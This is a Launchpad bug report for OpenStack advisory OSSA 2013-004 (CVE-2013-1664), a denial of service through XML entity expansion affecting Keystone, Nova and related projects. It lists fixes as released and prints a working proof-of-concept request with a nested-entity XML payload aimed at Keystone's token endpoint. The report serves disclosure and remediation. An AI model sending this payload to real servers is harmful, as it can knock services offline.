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[Sean Dague <sean@xxxxxxxxx>]

** No longer affects: nova/essex

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https://bugs.launchpad.net/bugs/1100282

Title:
  [OSSA 2013-004] DoS through XML entity expansion (CVE-2013-1664)

Status in Cinder:
  Fix Released
Status in Cinder folsom series:
  Fix Released
Status in OpenStack Identity (Keystone):
  Fix Released
Status in Keystone essex series:
  Fix Released
Status in Keystone folsom series:
  Fix Released
Status in OpenStack Neutron (virtual network service):
  Fix Released
Status in OpenStack Compute (Nova):
  Fix Released
Status in OpenStack Compute (nova) folsom series:
  Fix Released
Status in The Oslo library incubator:
  Fix Released
Status in oslo-incubator grizzly series:
  Fix Released
Status in OpenStack Security Advisories:
  Fix Released

Bug description:
  Jonathan Murray from NCC Group reported that you can DoS keystone
  servers using XML entities in Keystone requests.

  [ Joshua Harlow from Yahoo! independently reported the same issue
  plaguing Nova (using minidom). ]

  POST /v2.0/tokens HTTP/1.1
  content-type: application/xml

  <!DOCTYPE foo [
  <!ENTITY a "AAAA lots of As AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAvAAAAAAAAAA" >
  <!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;" >
  <!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;" >
  ]>
  <auth>
  <tenantName>&c;</tenantName>
  <passwordCredentials>
  <username>&c;</username>
  <username>&c;</username>
  <username>&c;</username>
  <username>&c;</username>
  <password>&c;</password>
  <somethingElse>&c;</somethingElse>
  <somethingElse1>&c;</somethingElse1>
  <somethingElse2>&c;</somethingElse2>
  </passwordCredentials>
  </auth>

  In that precise case it might be an issue with the XML library we use,
  although it sounds generally safer to disable parsing ENTITY blocks
  entirely if we can.

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